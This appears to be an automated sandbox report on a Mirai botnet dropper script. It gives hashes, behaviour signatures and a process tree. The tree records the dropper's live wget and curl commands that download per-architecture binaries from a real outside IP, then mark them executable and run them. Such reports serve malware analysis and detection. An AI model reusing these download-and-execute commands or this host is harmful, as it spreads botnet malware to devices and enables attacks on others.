Analysis

  • max time kernel
    15s
  • max time network
    47s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18-10-2024 01:24

General

  • Target

    2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh

  • Size

    4KB

  • MD5

    5c6503e384afa4d121f7cf871bb3e4a2

  • SHA1

    c7339a2f6aee5906171bb9c8f2437304abbce793

  • SHA256

    2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20

  • SHA512

    6a9c53dba30867099865c24f5394deefd616a5a3dd63e5193592fb7700d5c547258929f81b62cfbc698d4f0dbde7701077b75e9c721e8d7de24e05fef119a038

  • SSDEEP

    96:vNVjdNw4ENx/pNN7VNdMdEpFGNn9vNUswN2maNRfZN3t3NueqNySeNGWyNPlk:UO4Fk

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

UNSTABLE

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (8103) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 9 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 22 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh
    /tmp/2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh
    1⤵
    • Writes file to tmp directory
    PID:646
    • /usr/bin/wget
      wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Writes file to tmp directory
      PID:648
    • /usr/bin/curl
      curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:661
    • /bin/cat
      cat db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
        PID:671
      • /bin/chmod
        chmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu
        2⤵
        • File and Directory Permissions Modification
        PID:673
      • /tmp/load.sh
        ./load.sh sshm
        2⤵
        • Executes dropped EXE
        PID:675
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:678
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:681
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        PID:682
      • /bin/chmod
        chmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu
        2⤵
        • File and Directory Permissions Modification
        PID:683
      • /tmp/load.sh
        ./load.sh sshm
        2⤵
        • Executes dropped EXE
        PID:684
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Writes file to tmp directory
        PID:686
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:691
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
          PID:697
        • /bin/chmod
          chmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu
          2⤵
          • File and Directory Permissions Modification
          PID:699
        • /tmp/load.sh
          ./load.sh sshm
          2⤵
          • Executes dropped EXE
          PID:700
        • /usr/bin/wget
          wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Writes file to tmp directory
          PID:702
        • /usr/bin/curl
          curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:709
        • /bin/cat
          cat db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
            PID:718
          • /bin/chmod
            chmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu
            2⤵
            • File and Directory Permissions Modification
            PID:720
          • /tmp/load.sh
            ./load.sh sshm
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Changes its process name
            • Reads runtime system information
            PID:721
          • /usr/bin/wget
            wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Writes file to tmp directory
            PID:724
          • /usr/bin/curl
            curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:736
          • /bin/cat
            cat db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
              PID:744
            • /bin/chmod
              chmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu
              2⤵
              • File and Directory Permissions Modification
              PID:745
            • /tmp/load.sh
              ./load.sh sshm
              2⤵
              • Executes dropped EXE
              • Reads runtime system information
              PID:747
            • /usr/bin/wget
              wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:753
            • /bin/cat
              cat db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
                PID:758
              • /bin/chmod
                chmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu
                2⤵
                • File and Directory Permissions Modification
                PID:759
              • /tmp/load.sh
                ./load.sh sshm
                2⤵
                • Executes dropped EXE
                • Reads runtime system information
                PID:760
              • /usr/bin/wget
                wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Writes file to tmp directory
                PID:761
              • /usr/bin/curl
                curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:762
              • /bin/cat
                cat db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                  PID:765
                • /bin/chmod
                  chmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu
                  2⤵
                  • File and Directory Permissions Modification
                  PID:767
                • /tmp/load.sh
                  ./load.sh sshm
                  2⤵
                  • Executes dropped EXE
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Writes file to system bin folder
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:769
                • /usr/bin/wget
                  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:797
                • /usr/bin/curl
                  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:804
                • /bin/cat
                  cat db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                    PID:805
                  • /bin/chmod
                    chmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu
                    2⤵
                    • File and Directory Permissions Modification
                    PID:806
                  • /tmp/load.sh
                    ./load.sh sshm
                    2⤵
                    • Executes dropped EXE
                    PID:807
                  • /usr/bin/wget
                    wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:809
                  • /usr/bin/curl
                    curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:810
                  • /bin/cat
                    cat db0fa4b8db0333367e9bda3ab68b8042.m68k
                    2⤵
                      PID:811
                    • /bin/chmod
                      chmod +x 2521824d3c961493376afe44a83b2f2c0c413da620671aeef642024213194b20.sh db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-DcNmHu
                      2⤵
                      • File and Directory Permissions Modification
                      PID:812
                    • /tmp/load.sh
                      ./load.sh sshm
                      2⤵
                      • Executes dropped EXE
                      PID:813
                    • /usr/bin/wget
                      wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
                      2⤵
                        PID:815

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86

                      Filesize

                      33KB

                      MD5

                      6d1b6e91b1e2037fbf62ca7ddcf04932

                      SHA1

                      d0769095ec2e678074eb206b3537022129c1a776

                      SHA256

                      7f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782

                      SHA512

                      7397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38

                    • /tmp/load.sh

                      Filesize

                      35KB

                      MD5

                      fd5d7deebbb62aee931a1701a1042450

                      SHA1

                      4adc94ce9de13647815a16d6514b73e109c80785

                      SHA256

                      7a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9

                      SHA512

                      cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4

                    • /tmp/load.sh

                      Filesize

                      37KB

                      MD5

                      144cc0c6dfb6f6e395065b02825a9ad1

                      SHA1

                      dfe5d7d8bef4511b42be1ae0235f7469d97bf789

                      SHA256

                      117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2

                      SHA512

                      9e5ca9ee3ebef09688d74de6bb4af9d6c1003173ee5846cd2370d4774e9bc92fef317113b19529cd2a5b1d18a38a626ebf6ed2da05e6c7b66e0d1b69d8ddc5d5

                    • /tmp/load.sh

                      Filesize

                      34KB

                      MD5

                      b478298246ee6d313f4f576d0f7ec4cd

                      SHA1

                      94d25c6d4cfb1e218120d378d14c8d5ab868363b

                      SHA256

                      ed04f35cc6c4bef7ea8bf398436da916ebfab2490c10bd1d59df70f648e80df5

                      SHA512

                      83f67116e5c7074dcfa0e98d94697a0db2bdcaed15060aa31ed6a20eb543fd1d10d8fe26856178f78cc7402531de358e4b6c1d294086b18ab891d23954e78307

                    • /tmp/load.sh

                      Filesize

                      30KB

                      MD5

                      d8893525da7152c787dcc7d6309a61ba

                      SHA1

                      87fa7fb894caaa77a9caa7bca6a5fd3fbe09f7cd

                      SHA256

                      2a1b03ac26cc72118fb419de4bee3352adf536ee4d5472e8cee14150ca53b8ef

                      SHA512

                      8fcf808c627c080350adcf005df853a6c1f3fb3e3b2b5d2745a972dcc4064ff731f7cebbbd7d4e8c9ade91727f587356f844b783fa6c90a2191b80a38ca1f6e6

                    • /tmp/load.sh

                      Filesize

                      81KB

                      MD5

                      be7b5d0f87efeb752cefc89442d7161f

                      SHA1

                      336d812fd007007f3d613480a782f851881eaf87

                      SHA256

                      a2d47438ad3da55b76213c95deebe0a1953f92480a215ec562dfadd47d4c7833

                      SHA512

                      b0bacfb41b023e7d71cdf2464b39abec67cb96182018d43d0cd3197f152e3796e8af28c99a423a4585aa6992302737c56bd4dddd00ceefdb5ff4cf3c54008c17

                    • memory/721-1-0x00008000-0x00025708-memory.dmp

                    • memory/747-2-0x00008000-0x00022808-memory.dmp

                    • memory/760-3-0x00008000-0x00031a8c-memory.dmp

                    • memory/769-4-0x00008000-0x0002d52c-memory.dmp